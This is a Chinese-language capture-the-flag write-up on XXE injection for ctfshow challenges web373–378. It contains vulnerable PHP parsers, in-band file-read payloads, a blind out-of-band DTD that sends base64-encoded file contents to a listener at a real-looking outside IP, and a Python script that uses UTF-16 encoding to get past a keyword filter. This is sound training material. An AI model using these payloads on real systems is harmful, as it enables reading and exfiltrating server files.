17.XXE

1. web373 有回显

error_reporting(0);
// 允许加载外部实体(存在XXE风险)
libxml_disable_entity_loader(false);
// 获取原始POST请求体内容(通常为XML数据)
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    // 解析XML,允许外部实体和DTD(存在XXE风险)
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    // 将DOM对象转为SimpleXML对象,便于访问节点
    $creds = simplexml_import_dom($dom);
    // 获取ctfshow节点内容
    $ctfshow = $creds->ctfshow;
    // 输出ctfshow节点内容
    echo $ctfshow; 
}
// 高亮显示当前文件源码
highlight_file(__FILE__);

这题没有过滤,直接传一个xml外部实体进行文件读取即可,
注意的一点是这里指定了输出的节点为 ctfshow

<!DOCTYPE xxeinjection [ 
<!ENTITY xxe SYSTEM "file:///flag">
]>
<searchForm>
  <ctfshow>&xxe;</ctfshow>
</searchForm>

2. web374 无回显 VPS外带

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);  

可以发现这题比上体少了

// 将DOM对象转为SimpleXML对象,便于访问节点
$creds = simplexml_import_dom($dom);
// 获取ctfshow节点内容
$ctfshow = $creds->ctfshow;

也就是这题没有回显。

这里我们是使用VPS进行外带

先在vps上创建一个dtd文件

<!ENTITY % all "<!ENTITY &#x25; send  SYSTEM 'http://124.71.111.64:1123/%file;'> ">
%all;
%send;
  • &#x25 ; 是 % 的实体编码,防止被过滤
  • %all 执行all实体,实际定义了send实体
  • %send 执行send实体,触发一次外带请求
  • 定义了一个名为all的参数实体,内容是再定义一个send实体

然后VPS开启监听1123端口

发送payload

<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://124.71.111.64/eval.dtd">
%dtd;
]>
  • 读取本地flag保存到file实体
  • 远程加载eval.dtd实体,然后执行

然后就可以收到外带的flag了
Pasted image 20250511174725

3. web375 过滤了<?xml version="1.0"

关系不大,本来也不一定要用(xml头声明不强制要求,可有可无

<!DOCTYPE xxeinjection [ 
<!ENTITY xxe SYSTEM "file:///flag">
]>
<searchForm>
  <ctfshow>&xxe;</ctfshow>
</searchForm>

4. web376 上题过滤匹配大小写

同上即可,因为本来就可以不用写xml头声明

5. web377 过滤http 编码绕过

xml 文档不仅可以用 UTF-8 编码,也可以用 UTF-16(两个变体 - BE 和 LE)、UTF-32(四个变体 - BE、LE、2143、3412) 和 EBCDIC 编码

import requests
url = 'http://a4feaf21-d126-455c-beca-83288c5ae213.challenge.ctf.show/'
data = '''
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://124.222.136.33:1338/evil.dtd">
%dtd;
]>
'''
r = requests.post(url=url,data=data.encode('utf-16'))

6. web378 代码审计

翻源码可以翻到登录的逻辑

function doLogin(){
	var username = $("#username").val();
	var password = $("#password").val();
	if(username == "" || password == ""){
		alert("Please enter the username and password!");
		return;
	}
	
	var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
        type: "POST",
        url: "doLogin",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
        	var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
        	var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
        	if(code == "0"){
        		$(".msg").text(msg + " login fail!");
        	}else if(code == "1"){
        		$(".msg").text(msg + " login success!");
        	}else{
        		$(".msg").text("error:" + msg);
        	}
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 
}

抓个包一看,就发现有xml表单提交数据的代码
Pasted image 20250511175925
修改这个即可
Pasted image 20250511180124